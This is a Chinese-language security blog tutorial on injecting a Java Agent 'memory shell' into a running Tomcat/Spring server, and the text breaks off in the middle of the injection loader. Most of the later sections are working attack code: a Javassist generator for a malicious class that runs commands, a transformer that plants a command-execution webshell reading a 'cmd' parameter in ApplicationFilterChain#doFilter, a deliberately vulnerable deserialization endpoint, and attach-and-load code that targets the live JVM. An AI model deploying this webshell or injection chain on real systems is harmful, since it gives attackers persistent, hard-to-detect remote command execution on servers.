Agent内存马
发表于:2025-08-05 | 分类: Java

JavaAgent内存马

前言

基于Tomcat的内存马类型有四种:Filter、Servlet、Listener和Agent。

在之前的面试中,有个问题是:如果不是基于Tomcat的Java网站,该如何注入内存马。当时没有了解到Agent内存马,现在才知道, Agent内存马是不受Tomcat框架限制的,因此来学习研究一下

JavaAgent简介

学了这么长时间Java,我们知道Java与PHP不同,它是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。

在JDK1.5之后,引入了java.lang.instrument包,该包提供了检测java程序的API接口,其中包括 监控、收集性能信息和诊断问题等,通过java.lang.insrument实现的工具我们称它为Java Agent。JavaAgent能够在不影响正常编译的情况下来修改字节码(动态修改已加载和未加载的类,其中包括属性和方法),类似于之前学习的反射修改属性值的方式。

Java Agent支持以下两种方式进行加载:

  • 实现premain方法,在启动时进行加载(JDK >= 1.5)
  • 实现agentmain方法,在启动后进行加载(JDK >= 1.6)

普通Java类以main函数作为入口点,而JavaAgent的入口点是premain和agentmain

JaveAgent加载

Agent-premain

PreMain的大体流程如下,Agent的premain方法会在main函数执行前执行

想要实现启动时执行premain方法,首先我们必须去实现premain方法,同时在我们的清单(sMainfest)中必须要包含Premain-Class属性,然后再命令行中利用-javaagent参数实现启动时加载

我们来实现一个Demo来进行测试

首先创建一个类当作我们的Agent类,实现premain方法

1
2
3
4
5
6
7
8
9
10
import java.lang.instrument.Instrumentation;

public class preAgent {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("premain method is invoked!");
}
}
}

然后创建mainfest,将其保存到agent.mf文件内,且需要含有Premain-Class属性

PS!!!:在.mf文件的最后,一定要有空行

1
2
3
Manifest-Version: 1.0
Premain-Class: preAgent

利用Javac命令将java文件编译成class文件,然后利用jar命令进行打包,去生成我们的agent.jar

1
2
javac preAgent.java
jar cvfm agent.jar agent.mf preAgent.class

然后再去创建一个普通类去实现main方法

1
2
3
4
5
public class Demo {
public static void main(String[] args) {
System.out.println("Hello,PreAgent");
}
}

将以下内容写入Demo.mf

1
2
3
Manifest-Version: 1.0
Main-Class: com.Demo

利用同样的方法进行编译打包成Demo.jar

1
2
javac Demo.java
jar cvfm agent.jar Demo.mf Demo.class

最终我们得到了agent.jar和Demo.jar

然后我们在java -jar中添加参数-javaagent:agent.jar,就可以在启动时优先执行preAgent中的premain方法,并且可以通过命令行传入我们的agetnArgs参数

1
java -javaagent:agent.jar=Sean -jar Demo.jar

Agent-agentmain

上述的premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。

AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定

VirtualMachine类

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用
1
2
3
4
5
6
7
8
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
//获得当前所有的JVM列表
VirtualMachine.list()
//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.sean;  

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("com.sean.get_PID"))
System.out.println(vmd.id());
}

}
}

Demo实现

接下来我们简单实现一下agentMain

首先编写一个 Sleep_Hello类,模拟正在运行的 JVM

1
2
3
4
5
6
7
8
9
10
11
12
package agent;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后编写AgentMain类作为我们的Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class AgentMain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用agentmain-Agent!");
sleep(3000);
}
}
}

同时配置 agentmain.mf 文件

1
2
3
Manifest-Version: 1.0
Agent-Class: agent.AgentMain

分别对上面的 java 文件进行编译,然后利用命令行进行打包

这样我们的 AgentMain.jar 就成功生成了

1
jar cvfm AgentMain.jar agentmain.mf AgentMain.class Sleep_Hello.class 

接下来我们去编写测试类Inject_Agent,可以将agent注入到正在运行的JVM中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package agent;

import com.sun.tools.attach.*;

import java.io.File;
import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
String path="E:\\Code\\java\\AgentMem\\src\\main\\java\\agent\\AgentMain.jar";

for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("Sleep")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent(path);
//断开JVM连接
virtualMachine.detach();
}
}
}
}

先运行Sleep_Hello,然后执行Inject_Agent,可以看到执行效果如下

不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class TestAgentMain {

public static void main(String[] args) {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM Start..");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.contains("TestAgentMain")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "AgentMain.jar的路径";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}

动态修改字节码

我们可以看到在实现 premain方法 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在此之前我们先去了解一下Javassist(当时在生成字节码时就用它,但是一直没有知道怎么用)

Javassist

简介

Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。
ClassPool
`ClassPool`是`CtClass`对象的容器。`CtClass`对象必须从该对象获得。如果调用此对象的`get()`方法,则它将搜索表示的各种源`ClassPath` 以查找类文件,然后创建一个`CtClass`表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放`CtClass`对象的容器。

获得方法如下:

通过ClassPool.getDefault()使用JVM的类搜索路径。如果程序运行在JBoss或者Tomcat的Web服务器上,则ClassPool可能无法找到用户的类,因为Web会服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool必须添加额外的搜索路径

1
2
3
4
//获得方法
ClassPool cp = ClassPool.getDefault();
//添加类搜索路径
cp.insertClassPath(new ClassClassPath(<Class>));
CtClass
可以将CtClass理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以通过以下代码获取
1
ClassPool.get(ClassName)
CtMethod
同理我们可以将其理解为加强版的Method对象。通过`CtClass.getDeclaredMethod(MethodName)`获取,其中该类提供了一些方法可以让我们直接修改方法体,方法如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);

// 插入在方法体最前面
public void insertBefore(String src);

// 插入在方法体最后面
public void insertAfter(String src);

// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);

}

其中传递给insertBeforeinsertAfterinsertAt的String对象是由Javassist的编译器进行编译的。该编译器支持语言的扩展,以下以$符号开头的几个标识符具有特殊的含义:

Javassist使用Demo

pom.xml中导入以下依赖
1
2
3
4
5
<dependency>  
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

创建我们的测试类,用javassist创建一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import javassist.*;

public class JavassistDemo {
public static void CreatePerson() throws Exception{
//获取CtClass对象容器ClassPool
ClassPool classPool = ClassPool.getDefault();
//创建一个新类 Javassist.Learning.Person
CtClass ctClass = classPool.makeClass("javassist.Person");
//创建一个Person类的属性name
CtField ctField1 = new CtField(classPool.get("java.lang.String"),"name", ctClass);
//设置属性访问符
ctField1.setModifiers(Modifier.PRIVATE);
//将属性添加到Person中,并设置初始值
ctClass.addField(ctField1,CtField.Initializer.constant("Sean"));

//向Person类中添加setter和getter方法
ctClass.addMethod(CtNewMethod.setter("setName",ctField1));
ctClass.addMethod(CtNewMethod.getter("getName",ctField1));

//创建一个无参构造
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
//设置方法体
ctConstructor.setBody("{name = \"Sean\";}");
//向Person类中添加无参构造
ctClass.addConstructor(ctConstructor);

//创建一个类方法printName
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, ctClass);
//设置方法访问符
ctMethod.setModifiers(Modifier.PUBLIC);
//设置方法体
ctMethod.setBody("{System.out.println(\"Hello World\");}");
//将方法添加至Person中
ctClass.addMethod(ctMethod);

//将生成的字节码写入文件中
ctClass.writeFile();

}

public static void main(String[] args) throws Exception {
CreatePerson();
}
}

生成person.class文件,反编译后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package javassist;

public class Person {
private String name = "Sean";

public void setName(String var1) {
this.name = var1;
}

public String getName() {
return this.name;
}

public Person() {
this.name = "Sean";
}

public void printName() {
System.out.println("Hello World");
}
}

我们可以利用javassist来生成一个恶意的.class类,在我们之前打链子时,会使用该方法生成恶意class类的字节码,当时直接使用的师傅们的代码,自己并不清楚(好像有减少payload长度的效果)

使用Javassist生成恶意class

在我们CC的学习中,利用动态加载字节码进行代码执行时,我们的恶意类需要继承`AbstractTranslet`类,并且充血两个`transform`方法。否则编译会无法通过,无法生成我们的class文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class createClass extends AbstractTranslet {

public void shell() throws Exception{
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

该恶意类在执行的过程中并没有用到重写的方法,因此我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.File;
import java.io.FileOutputStream;

public class createClass {
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor ctConstructor = ctClass.makeClassInitializer();
ctConstructor.setBody("try{\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception e){\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void writeShell() throws Exception {
byte[] shell = createClass.getTemplatesImpl("calc");
FileOutputStream fileOutputStream = new FileOutputStream(new File("Sean.class"));
fileOutputStream.write(shell);
}

public static void main (String[]args) throws Exception {
writeShell();
}
}

保存出来的恶意文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception var1) {
}

}

public Evil() {
}
}

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据。Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface Instrumentation {

// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

......
}

Instrumentation 提供了 addTransformer,getAllLoadedClasses,retransformClasses 等方法,由于我们后面只用到了这三个,所以就只去介绍这三个

方法介绍

addTransformer
addTransformer方法用来注册Transformer,因此我们可以通过编写ClassFileTransformer接口实现类来注册自己的Transformer
1
2
// 注册提供的转换器
void addTransformer(ClassFileTransformer transformer)

当类进行加载时,会进入到我们自己的Transformer中的transform函数进行拦截

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class DefineTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {

className = className.replace("/" , "");
if(className.equals(ClassName)){
System.out.println("Got it!!!");
try{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(ClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");
ctMethod.insertBefore("System.out.println(\"sean\")");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
}catch (Exception e){
System.out.println(e);
e.printStackTrace();
}
}
return new byte[0];
}
}
getAllLoadedClasses
getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
1
2
3
4
5
6
7
public  static  void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new DefineTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class cls : allLoadedClasses) {
System.out.println(cls.getName());
}
}
retransformClasses
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new DefineTransformer(),true);
//获取所有已加载的类
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class cls : allLoadedClasses) {
if (cls.getName().equals(ClassName)){
try{
System.out.println("Inject Class exist:" + cls.getName());
//对类进行重新定义
inst.retransformClasses(new Class[]{cls});
}catch (Exception e){
e.printStackTrace();
}
}
}
}
}

Demo

首先利用addTransformer注册一个transformer,然后创建一个ClassFileTransformer抽象类的实现类,重写其transform方法
1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.instrument.Instrumentation;

public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("premain method is invoked!");
}
// 注册 DefineTransformer
inst.addTransformer(new DefineTransformer(),true);
}
}

这里我们只输出一个className去做测试

1
2
3
4
5
6
7
8
9
10
11
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return new byte[0];
}
}

PS:如果需要修改已经被JVM加载过的类的字节码,那么还需要在MAINFEST.MF中添加Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

1
2
Can-Retransform-Classes 是否支持类的重新替换
Can-Redefine-Classes 是否支持类的重新定义

当类被加载的时候就会调用 DefineTransformer 中的 transform 方法,然后我们这里的逻辑就是直接输出加载的类的类名

最后利用内存马注入的例子来介绍一下动态修改字节码的一个逻辑

利用JavaAgent注入内存马肯定是需要修改我们指定的类中的某个方法,所以我们这里可以借助 javasist 对字节码进行一个扩充(增加自己的方法)

用 if 做一个判断,表示我们只对特定的 classname 的字节码进行处理

第二个则是利用 javasist 来对字节码进行一个动态修改,这样的话我们的恶意方法就会被添加到 ApplicationFilterChain#doFilter 方法中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {

className = className.replace("/" , "");
if(className.equals(ClassName)){
System.out.println("Got it!!!");
try{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(ClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
ctMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if(cmd != null){\n" +
"try{\n" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
"java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
"String line;\n" +
"StringBuilder sb = new StringBuilder(\"\");\n" +
"while((line = reader.readLine()) != null){\n" +
"sb.append(line).append(\"\\n\");\n" +
"}\n" +
"response.getOutputStream().println(sb.toString());\n" +
"response.getOutputStream().flush();\n" +
"response.getOutputStream().close();\n" +
"}catch (Exception e){\n" +
"e.printStackTrace();\n" +
"}\n" +
"}");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
}catch (Exception e){
System.out.println(e);
e.printStackTrace();
}
}
return new byte[0];
}
}

局限性

大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  5. 可以修改方法体

Agent内存马注入

在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马

如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

环境配置

+ SpringBoot2.6.13 + CommonCollection3.2.1

这里我用Springboot作为漏洞环境,Controller代码如下,这样一个简单的反序列化环境就搭建完成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.spring1.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class agentFilter {

@ResponseBody
@RequestMapping("/cc")
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}

@ResponseBody
@RequestMapping("/demo")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "This is OK Demo!";
}
}

寻找关键类

在此之前我们学习过Filter内存马,当我们用户请求到达Servlet前,一定会经过Filter,以此来对我们的请求进行过滤。

在Filter中存在doFilter方法,除了会对我们的请求进行过滤,会依次调用FilterChains中的Filter,同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}

反序列化注入

注入流程如下:
  1. 编写 agent.jar 从而实现 <font style="color:rgb(51, 51, 51);">org.apache.catalina.core.ApplicationFilterChain#doFilter</font> 进行字节码修改
  2. 利用 CC依赖 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

第一步

首先注册我们的 DefineTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义,AgentMain.java代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}

修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可

对 transform 拦截的类进行判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改,这里我们使用 insertBefore 方法,将其插入到前面,从而减少对原程序的功能破坏

DefineTransformer.java代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

然后maven进行打包,这样我们的agent.jar就完成了

第二步

在上一步中,我们已经编写好了agnet.jar,接下来就需要我们编写java代码来将其加载进JVM中

其中大致思路为获取到JVM的PID,调用loadAgent方法将agent.jat注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
try{
java.lang.String path = "C:\\Users\\xxxxx\\Desktop\\AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("com.spring1.Spring1Application")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
